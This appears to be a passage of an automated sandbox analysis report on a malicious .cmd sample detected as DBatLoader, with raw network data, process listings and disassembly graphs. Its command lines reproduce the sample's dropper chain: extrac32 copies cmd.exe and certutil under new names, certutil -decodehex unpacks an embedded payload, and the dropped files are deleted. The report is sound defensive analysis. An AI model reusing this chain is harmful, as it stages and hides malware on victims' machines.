                                                  2024-12-19 11:39:34 UTC16384INData Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46
                                                  Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
                                                  2024-12-19 11:39:34 UTC9335INData Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30
                                                  Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0


                                                  Statistics

                                                  CPU Usage

                                                  Click to jump to process

                                                  Memory Usage

                                                  Click to jump to process

                                                  High Level Behavior Distribution

                                                  Click to dive into process behavior distribution

                                                  Behavior

                                                  Click to jump to process

                                                  System Behavior

                                                  General

                                                  Target ID:0
                                                  Start time:06:39:11
                                                  Start date:19/12/2024
                                                  Path:C:\Windows\System32\cmd.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "
                                                  Imagebase:0x7ff765640000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:1
                                                  Start time:06:39:12
                                                  Start date:19/12/2024
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff7699e0000
                                                  File size:862'208 bytes
                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:2
                                                  Start time:06:39:12
                                                  Start date:19/12/2024
                                                  Path:C:\Windows\System32\extrac32.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                                                  Imagebase:0x7ff6613f0000
                                                  File size:35'328 bytes
                                                  MD5 hash:41330D97BF17D07CD4308264F3032547
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:moderate
                                                  Has exited:true

                                                  General

                                                  Target ID:3
                                                  Start time:06:39:12
                                                  Start date:19/12/2024
                                                  Path:C:\Users\Public\alpha.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                  Imagebase:0x7ff6bf3d0000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Antivirus matches:
                                                  • Detection: 0%, ReversingLabs
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:4
                                                  Start time:06:39:12
                                                  Start date:19/12/2024
                                                  Path:C:\Windows\System32\extrac32.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                  Imagebase:0x7ff6613f0000
                                                  File size:35'328 bytes
                                                  MD5 hash:41330D97BF17D07CD4308264F3032547
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:moderate
                                                  Has exited:true

                                                  General

                                                  Target ID:5
                                                  Start time:06:39:12
                                                  Start date:19/12/2024
                                                  Path:C:\Users\Public\alpha.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9
                                                  Imagebase:0x7ff6bf3d0000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:6
                                                  Start time:06:39:13
                                                  Start date:19/12/2024
                                                  Path:C:\Users\Public\kn.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9
                                                  Imagebase:0x7ff7f7060000
                                                  File size:1'651'712 bytes
                                                  MD5 hash:F17616EC0522FC5633151F7CAA278CAA
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Antivirus matches:
                                                  • Detection: 0%, ReversingLabs
                                                  Reputation:moderate
                                                  Has exited:true

                                                  General

                                                  Target ID:7
                                                  Start time:06:39:13
                                                  Start date:19/12/2024
                                                  Path:C:\Users\Public\alpha.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\spoolsv.MPEG" "C:\\Users\\Public\\Libraries\\spoolsv.COM" 12
                                                  Imagebase:0x7ff6bf3d0000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:8
                                                  Start time:06:39:13
                                                  Start date:19/12/2024
                                                  Path:C:\Users\Public\kn.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\spoolsv.MPEG" "C:\\Users\\Public\\Libraries\\spoolsv.COM" 12
                                                  Imagebase:0x7ff7f7060000
                                                  File size:1'651'712 bytes
                                                  MD5 hash:F17616EC0522FC5633151F7CAA278CAA
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:moderate
                                                  Has exited:true

                                                  General

                                                  Target ID:9
                                                  Start time:06:39:14
                                                  Start date:19/12/2024
                                                  Path:C:\Users\Public\Libraries\spoolsv.COM
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Users\Public\Libraries\spoolsv.COM
                                                  Imagebase:0x400000
                                                  File size:1'019'392 bytes
                                                  MD5 hash:DFD15A4158AB979660435D6F3E95A3EC
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:Borland Delphi
                                                  Yara matches:
                                                  • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000009.00000003.1735073936.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000009.00000002.2463920192.00000000021B6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000009.00000002.2480657895.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  Antivirus matches:
                                                  • Detection: 100%, Avira
                                                  • Detection: 55%, ReversingLabs
                                                  Has exited:true

                                                  General

                                                  Target ID:10
                                                  Start time:06:39:15
                                                  Start date:19/12/2024
                                                  Path:C:\Users\Public\alpha.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                                                  Imagebase:0x7ff6bf3d0000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:11
                                                  Start time:06:39:15
                                                  Start date:19/12/2024
                                                  Path:C:\Users\Public\alpha.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\spoolsv.MPEG" / A / F / Q / S
                                                  Imagebase:0x7ff6bf3d0000
                                                  File size:289'792 bytes
                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:17
                                                  Start time:06:40:04
                                                  Start date:19/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7828 -s 2156
                                                  Imagebase:0x1d0000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  Disassembly

                                                  Reset < >

                                                    Execution Graph

                                                    Execution Coverage:5.5%
                                                    Dynamic/Decrypted Code Coverage:0%
                                                    Signature Coverage:26.7%
                                                    Total number of Nodes:840
                                                    Total number of Limit Nodes:25
                                                    execution_graph 16786 7ff6bf3e8d80 16787 7ff6bf3e8da4 16786->16787 16788 7ff6bf3e8db6 16787->16788 16789 7ff6bf3e8dbf Sleep 16787->16789 16790 7ff6bf3e8ddb _amsg_exit 16788->16790 16796 7ff6bf3e8de7 16788->16796 16789->16787 16790->16796 16791 7ff6bf3e8e56 _initterm 16793 7ff6bf3e8e73 _IsNonwritableInCurrentImage 16791->16793 16792 7ff6bf3e8e3c 16800 7ff6bf3e37d8 GetCurrentThreadId OpenThread 16793->16800 16796->16791 16796->16792 16796->16793 16833 7ff6bf3e04f4 16800->16833 16802 7ff6bf3e3839 HeapSetInformation RegOpenKeyExW 16803 7ff6bf3e388d 16802->16803 16804 7ff6bf3ee9f8 RegQueryValueExW RegCloseKey 16802->16804 16805 7ff6bf3e5920 VirtualQuery VirtualQuery 16803->16805 16807 7ff6bf3eea41 GetThreadLocale 16804->16807 16806 7ff6bf3e38ab GetConsoleOutputCP GetCPInfo 16805->16806 16806->16807 16808 7ff6bf3e38f1 memset 16806->16808 16823 7ff6bf3e3919 16807->16823 16808->16823 16809 7ff6bf3e4d5c 391 API calls 16809->16823 16810 7ff6bf3d3240 166 API calls 16810->16823 16811 7ff6bf3eeb27 _setjmp 16811->16823 16812 7ff6bf3e3948 _setjmp 16812->16823 16813 7ff6bf3f8530 370 API calls 16813->16823 16814 7ff6bf3e01b8 6 API calls 16814->16823 16815 7ff6bf3e4c1c 166 API calls 16815->16823 16816 7ff6bf3ddf60 481 API calls 16816->16823 16817 7ff6bf3eeb71 _setmode 16817->16823 16818 7ff6bf3e0580 12 API calls 16820 7ff6bf3e398b GetConsoleOutputCP GetCPInfo 16818->16820 16819 7ff6bf3e86f0 182 API calls 16819->16823 16822 7ff6bf3e04f4 GetModuleHandleW GetProcAddress SetThreadLocale 16820->16822 16821 7ff6bf3e58e4 EnterCriticalSection LeaveCriticalSection 16821->16823 16822->16823 16823->16804 16823->16809 16823->16810 16823->16811 16823->16812 16823->16813 16823->16814 16823->16815 16823->16816 16823->16817 16823->16818 16823->16819 16823->16821 16824 7ff6bf3dbe00 647 API calls 16823->16824 16825 7ff6bf3e58e4 EnterCriticalSection LeaveCriticalSection 16823->16825 16824->16823 16826 7ff6bf3eebbe GetConsoleOutputCP GetCPInfo 16825->16826 16827 7ff6bf3e04f4 GetModuleHandleW GetProcAddress SetThreadLocale 16826->16827 16829 7ff6bf3eebe6 16827->16829 16828 7ff6bf3dbe00 647 API calls 16828->16829 16829->16828 16830 7ff6bf3e0580 12 API calls 16829->16830 16831 7ff6bf3eebfc GetConsoleOutputCP GetCPInfo 16830->16831 16832 7ff6bf3e04f4 GetModuleHandleW GetProcAddress SetThreadLocale 16831->16832 16832->16823 16834 7ff6bf3e0504 16833->16834 16835 7ff6bf3e051e GetModuleHandleW 16834->16835 16836 7ff6bf3e054d GetProcAddress 16834->16836 16837 7ff6bf3e056c SetThreadLocale 16834->16837 16835->16834 16836->16834 17398 7ff6bf3faf80 17399 7ff6bf3fafa5 17398->17399 17400 7ff6bf3faf8d 17398->17400 17402 7ff6bf3fa0b0 243 API calls 17399->17402 17404 7ff6bf3fa0b0 RegOpenKeyExW 17400->17404 17403 7ff6bf3faf92 17402->17403 17405 7ff6bf3fa112 17404->17405 17406 7ff6bf3fa209 17404->17406 17427 7ff6bf3dd3f0 17405->17427 17406->17403 17409 7ff6bf3fa130 17455 7ff6bf3f9b0c 17409->17455 17412 7ff6bf3fa149 17413 7ff6bf3db900 166 API calls 17412->17413 17415 7ff6bf3fa151 17413->17415 17414 7ff6bf3dff70 2 API calls 17416 7ff6bf3fa1ee 17414->17416 17415->17409 17421 7ff6bf3fa13c 17415->17421 17422 7ff6bf3fa186 17415->17422 17417 7ff6bf3dff70 2 API calls 17416->17417 17419 7ff6bf3fa1f6 RegCloseKey 17417->17419 17418 7ff6bf3fa18c 17420 7ff6bf3d3278 166 API calls 17418->17420 17419->17406 17420->17421 17421->17414 17422->17418 17423 7ff6bf3db900 166 API calls 17422->17423 17424 7ff6bf3fa1b4 17423->17424 17424->17418 17424->17421 17425 7ff6bf3fa1d4 17424->17425 17501 7ff6bf3fac4c 17425->17501 17428 7ff6bf3dd810 17427->17428 17429 7ff6bf3dd420 17427->17429 17530 7ff6bf3db998 17428->17530 17431 7ff6bf3dd46e GetProcessHeap HeapAlloc 17429->17431 17432 7ff6bf3ecaad 17429->17432 17431->17432 17438 7ff6bf3dd49a 17431->17438 17433 7ff6bf3d3278 166 API calls 17432->17433 17434 7ff6bf3ecab7 17433->17434 17436 7ff6bf3dd544 17436->17432 17437 7ff6bf3e9158 7 API calls 17436->17437 17441 7ff6bf3eca31 wcschr 17436->17441 17442 7ff6bf3dd54a iswspace 17436->17442 17443 7ff6bf3dd5ee GetProcessHeap HeapReAlloc 17436->17443 17445 7ff6bf3dd586 wcschr 17436->17445 17446 7ff6bf3dd6ff iswspace 17436->17446 17449 7ff6bf3dd668 17436->17449 17450 7ff6bf3dd759 wcschr 17436->17450 17452 7ff6bf3dd6c5 wcschr 17436->17452 17453 7ff6bf3eca5a wcschr 17436->17453 17559 7ff6bf3fe91c 17436->17559 17437->17436 17438->17436 17439 7ff6bf3dd515 17438->17439 17440 7ff6bf3dd4e8 wcschr 17438->17440 17439->17436 17440->17438 17441->17436 17442->17436 17444 7ff6bf3dd561 wcschr 17442->17444 17443->17432 17447 7ff6bf3dd61d GetProcessHeap HeapSize 17443->17447 17444->17436 17445->17436 17446->17436 17448 7ff6bf3dd712 wcschr 17446->17448 17447->17436 17448->17436 17451 7ff6bf3e8f80 7 API calls 17449->17451 17450->17436 17454 7ff6bf3dd6a0 17451->17454 17452->17436 17453->17436 17454->17409 17494 7ff6bf3e1ea0 17454->17494 17456 7ff6bf3f9cfa 17455->17456 17457 7ff6bf3f9b4a RegEnumKeyExW 17455->17457 17458 7ff6bf3f9d01 17456->17458 17459 7ff6bf3f9d1d 17456->17459 17462 7ff6bf3f9ce6 17457->17462 17482 7ff6bf3f9b8b 17457->17482 17460 7ff6bf3d3278 166 API calls 17458->17460 17461 7ff6bf3e09f4 2 API calls 17459->17461 17460->17462 17463 7ff6bf3f9d25 17461->17463 17464 7ff6bf3e8f80 7 API calls 17462->17464 17465 7ff6bf3db900 166 API calls 17463->17465 17467 7ff6bf3f9ec9 17464->17467 17468 7ff6bf3f9d2d 17465->17468 17466 7ff6bf3f9ca5 RegEnumKeyExW 17466->17462 17466->17482 17467->17421 17468->17462 17469 7ff6bf3f9d3f wcsrchr 17468->17469 17470 7ff6bf3f9d58 17469->17470 17471 7ff6bf3f9d7c 17470->17471 17486 7ff6bf3f9d95 17470->17486 17472 7ff6bf3d3278 166 API calls 17471->17472 17473 7ff6bf3f9d8b 17472->17473 17476 7ff6bf3dff70 2 API calls 17473->17476 17475 7ff6bf3f9cf5 17477 7ff6bf3e9158 7 API calls 17475->17477 17476->17462 17477->17456 17478 7ff6bf3dff70 2 API calls 17478->17482 17479 7ff6bf3f9e1d RegOpenKeyExW 17480 7ff6bf3f9e5e 17479->17480 17481 7ff6bf3f9e4a 17479->17481 17484 7ff6bf3fa73c 171 API calls 17480->17484 17483 7ff6bf3d3278 166 API calls 17481->17483 17482->17462 17482->17466 17482->17475 17482->17478 17485 7ff6bf3e3448 166 API calls 17482->17485 17643 7ff6bf3fa73c 17482->17643 17483->17473 17487 7ff6bf3f9e6b 17484->17487 17485->17482 17486->17479 17488 7ff6bf3f9e96 17487->17488 17490 7ff6bf3f9e82 17487->17490 17489 7ff6bf3d3278 166 API calls 17488->17489 17491 7ff6bf3f9e94 17489->17491 17493 7ff6bf3e3448 166 API calls 17490->17493 17492 7ff6bf3dff70 2 API calls 17491->17492 17492->17473 17493->17491 17495 7ff6bf3e1ec4 17494->17495 17496 7ff6bf3e1eae wcschr 17494->17496 17495->17412 17496->17495 17497 7ff6bf3e1ece 17496->17497 17498 7ff6bf3e1f3f 17497->17498 17499 7ff6bf3e9158 7 API calls 17497->17499 17498->17412 17500 7ff6bf3e1f53 17499->17500 17502 7ff6bf3fac8f 17501->17502 17502->17502 17503 7ff6bf3faca7 17502->17503 17507 7ff6bf3facbd 17502->17507 17504 7ff6bf3d3278 166 API calls 17503->17504 17518 7ff6bf3facb3 17504->17518 17505 7ff6bf3e8f80 7 API calls 17506 7ff6bf3faf17 17505->17506 17506->17421 17508 7ff6bf3fad4c RegOpenKeyExW 17507->17508 17509 7ff6bf3fad7d 17508->17509 17510 7ff6bf3fae59 17508->17510 17511 7ff6bf3fae42 17509->17511 17524 7ff6bf3fad90 17509->17524 17512 7ff6bf3faeca RegDeleteValueW 17510->17512 17513 7ff6bf3fae64 17510->17513 17515 7ff6bf3d3278 166 API calls 17511->17515 17514 7ff6bf3faef5 RegCloseKey 17512->17514 17517 7ff6bf3faec3 17512->17517 17513->17513 17516 7ff6bf3fae6e RegSetValueExW 17513->17516 17514->17518 17515->17518 17520 7ff6bf3faeba 17516->17520 17521 7ff6bf3faea6 17516->17521 17522 7ff6bf3d3278 166 API calls 17517->17522 17518->17505 17519 7ff6bf3fadb8 RegCreateKeyExW 17519->17524 17525 7ff6bf3fae28 17519->17525 17526 7ff6bf3d3278 166 API calls 17520->17526 17523 7ff6bf3e3448 166 API calls 17521->17523 17522->17514 17527 7ff6bf3faeb8 17523->17527 17524->17510 17524->17519 17528 7ff6bf3fae0b RegCloseKey 17524->17528 17529 7ff6bf3d3278 166 API calls 17525->17529 17526->17517 17527->17514 17528->17524 17529->17518 17531 7ff6bf3dcd90 166 API calls 17530->17531 17532 7ff6bf3db9a1 17531->17532 17533 7ff6bf3db9a6 17532->17533 17534 7ff6bf3fe91c 198 API calls 17532->17534 17533->17439 17535 7ff6bf3db9b1 memset 17534->17535 17537 7ff6bf3dca40 17 API calls 17535->17537 17542 7ff6bf3dba4c 17537->17542 17538 7ff6bf3ec3a8 17538->17538 17539 7ff6bf3db998 199 API calls 17538->17539 17548 7ff6bf3ec41a 17539->17548 17540 7ff6bf3dbadb 17540->17538 17544 7ff6bf3dbcef GetFileAttributesW 17540->17544 17545 7ff6bf3dbb05 17540->17545 17541 7ff6bf3dba80 wcschr 17541->17540 17541->17542 17542->17538 17542->17540 17542->17541 17543 7ff6bf3dbaa0 wcschr 17542->17543 17542->17545 17549 7ff6bf3dbb47 17542->17549 17543->17542 17544->17545 17547 7ff6bf3dbb29 _wcsicmp 17545->17547 17545->17549 17547->17545 17549->17538 17551 7ff6bf3dbb6b 17549->17551 17562 7ff6bf3d88a8 17549->17562 17550 7ff6bf3dbc46 17550->17538 17550->17551 17552 7ff6bf3dbc82 iswspace 17550->17552 17551->17538 17553 7ff6bf3dbb92 17551->17553 17552->17551 17554 7ff6bf3dbc99 wcschr 17552->17554 17555 7ff6bf3dbbe2 ??_V@YAXPEAX 17553->17555 17556 7ff6bf3dbbee 17553->17556 17554->17550 17554->17551 17555->17556 17557 7ff6bf3e8f80 7 API calls 17556->17557 17558 7ff6bf3dbc01 17557->17558 17558->17439 17566 7ff6bf3fe9b4 17559->17566 17563 7ff6bf3d88fc 17562->17563 17564 7ff6bf3d88cf 17562->17564 17563->17550 17564->17563 17565 7ff6bf3d88df _wcsicmp 17564->17565 17565->17564 17567 7ff6bf3fe9d9 17566->17567 17568 7ff6bf3fea0f 17566->17568 17578 7ff6bf3d6a48 17567->17578 17569 7ff6bf3fea67 17568->17569 17591 7ff6bf3daf98 17568->17591 17596 7ff6bf3fc978 17569->17596 17573 7ff6bf3fea6c 17574 7ff6bf3feaae 17573->17574 17606 7ff6bf3dd208 17573->17606 17575 7ff6bf3feacf 17574->17575 17610 7ff6bf3e3a0c 17574->17610 17579 7ff6bf3d6b23 17578->17579 17580 7ff6bf3d6a51 17578->17580 17579->17568 17580->17579 17581 7ff6bf3f417c 17580->17581 17582 7ff6bf3d6ab2 17580->17582 17620 7ff6bf3fec14 memset 17581->17620 17583 7ff6bf3e3c24 166 API calls 17582->17583 17585 7ff6bf3d6abf GetProcessHeap RtlFreeHeap 17583->17585 17616 7ff6bf3d6b84 SetEnvironmentStringsW GetProcessHeap RtlFreeHeap 17585->17616 17593 7ff6bf3dafb1 17591->17593 17592 7ff6bf3dafdb 17592->17568 17593->17592 17595 7ff6bf3dd208 _close 17593->17595 17641 7ff6bf3db038 _dup2 17593->17641 17595->17593 17597 7ff6bf3fca9e 17596->17597 17598 7ff6bf3fc98e 17596->17598 17597->17573 17599 7ff6bf3fee4c TerminateProcess GetLastError 17598->17599 17605 7ff6bf3fc9b3 17598->17605 17599->17598 17600 7ff6bf3e5cb4 7 API calls 17600->17605 17601 7ff6bf3dd208 _close 17601->17605 17602 7ff6bf3fca21 _get_osfhandle FlushFileBuffers 17603 7ff6bf3db038 _dup2 17602->17603 17603->17605 17604 7ff6bf3db038 _dup2 17604->17605 17605->17597 17605->17600 17605->17601 17605->17602 17605->17604 17607 7ff6bf3dd211 17606->17607 17609 7ff6bf3dd246 17606->17609 17608 7ff6bf3dd238 _close 17607->17608 17607->17609 17608->17609 17609->17573 17611 7ff6bf3e3a53 FindClose 17610->17611 17615 7ff6bf3e3a25 17610->17615 17612 7ff6bf3e3a74 GetLastError 17611->17612 17613 7ff6bf3e3a66 17611->17613 17612->17613 17613->17574 17614 7ff6bf3eec38 17615->17611 17615->17614 17617 7ff6bf3e4a14 5 API calls 17616->17617 17618 7ff6bf3d6ae8 17617->17618 17619 7ff6bf3d6b30 GetProcessHeap RtlFreeHeap GetProcessHeap RtlFreeHeap 17618->17619 17621 7ff6bf3dca40 17 API calls 17620->17621 17622 7ff6bf3fec96 17621->17622 17623 7ff6bf3fedf7 17622->17623 17626 7ff6bf3e081c 166 API calls 17622->17626 17624 7ff6bf3fee0a ??_V@YAXPEAX 17623->17624 17625 7ff6bf3fee16 17623->17625 17624->17625 17627 7ff6bf3e8f80 7 API calls 17625->17627 17628 7ff6bf3fecca 17626->17628 17629 7ff6bf3f4190 17627->17629 17630 7ff6bf3fecd2 SetCurrentDirectoryW 17628->17630 17631 7ff6bf3fecfb 17628->17631 17633 7ff6bf3fedd4 17630->17633 17634 7ff6bf3fece9 SetErrorMode 17630->17634 17632 7ff6bf3e498c 8 API calls 17631->17632 17635 7ff6bf3fed89 SetCurrentDirectoryW 17632->17635 17636 7ff6bf3e417c 166 API calls 17633->17636 17634->17631 17637 7ff6bf3fedc1 17635->17637 17638 7ff6bf3fedac GetLastError 17635->17638 17636->17623 17637->17633 17640 7ff6bf3fedc6 SetErrorMode 17637->17640 17639 7ff6bf3d3278 166 API calls 17638->17639 17639->17637 17640->17633 17642 7ff6bf3db061 17641->17642 17642->17593 17642->17642 17644 7ff6bf3fa765 17643->17644 17645 7ff6bf3fa791 RegQueryValueExW 17643->17645 17644->17645 17646 7ff6bf3fa76b RegOpenKeyExW 17644->17646 17647 7ff6bf3fa7c0 17645->17647 17648 7ff6bf3fa7d6 17645->17648 17646->17645 17656 7ff6bf3fa78a SetLastError 17646->17656 17649 7ff6bf3db900 166 API calls 17647->17649 17651 7ff6bf3dcd90 166 API calls 17648->17651 17648->17656 17652 7ff6bf3fa7cc 17649->17652 17653 7ff6bf3fa7e3 17651->17653 17654 7ff6bf3fa850 RegCloseKey 17652->17654 17655 7ff6bf3fa85c 17652->17655 17653->17656 17657 7ff6bf3fa7f0 RegQueryValueExW 17653->17657 17654->17655 17655->17482 17656->17652 17657->17652 17658 7ff6bf3fa820 17657->17658 17659 7ff6bf3dff70 2 API calls 17658->17659 17659->17656 22359 7ff6bf3db8c0 22362 7ff6bf3dbe00 22359->22362 22363 7ff6bf3db8d4 22362->22363 22364 7ff6bf3dbe1b 22362->22364 22364->22363 22365 7ff6bf3dbe67 22364->22365 22366 7ff6bf3dbe47 memset 22364->22366 22368 7ff6bf3dbe73 22365->22368 22369 7ff6bf3dbf29 22365->22369 22372 7ff6bf3dbeaf 22365->22372 22469 7ff6bf3dbff0 22366->22469 22370 7ff6bf3dbe92 22368->22370 22373 7ff6bf3dbf0c 22368->22373 22371 7ff6bf3dcd90 166 API calls 22369->22371 22379 7ff6bf3dbea1 22370->22379 22396 7ff6bf3dc620 GetConsoleTitleW 22370->22396 22375 7ff6bf3dbf33 22371->22375 22372->22363 22377 7ff6bf3dbff0 185 API calls 22372->22377 22507 7ff6bf3db0d8 memset 22373->22507 22375->22372 22380 7ff6bf3dbf70 22375->22380 22383 7ff6bf3d88a8 _wcsicmp 22375->22383 22377->22363 22379->22372 22386 7ff6bf3daf98 2 API calls 22379->22386 22390 7ff6bf3dbf75 22380->22390 22567 7ff6bf3d71ec 22380->22567 22381 7ff6bf3dbf1e 22381->22372 22385 7ff6bf3dbf5a 22383->22385 22384 7ff6bf3dbfa9 22384->22372 22387 7ff6bf3dcd90 166 API calls 22384->22387 22385->22380 22388 7ff6bf3e0a6c 273 API calls 22385->22388 22386->22372 22389 7ff6bf3dbfbb 22387->22389 22388->22380 22389->22372 22392 7ff6bf3e081c 166 API calls 22389->22392 22391 7ff6bf3db0d8 194 API calls 22390->22391 22393 7ff6bf3dbf7f 22391->22393 22392->22390 22393->22372 22440 7ff6bf3e5ad8 22393->22440 22397 7ff6bf3dca2f 22396->22397 22399 7ff6bf3dc675 22396->22399 22398 7ff6bf3ec5fc GetLastError 22397->22398 22401 7ff6bf3d3278 166 API calls 22397->22401 22402 7ff6bf3e855c ??_V@YAXPEAX 22397->22402 22398->22397 22400 7ff6bf3dca40 17 API calls 22399->22400 22410 7ff6bf3dc69b 22400->22410 22401->22397 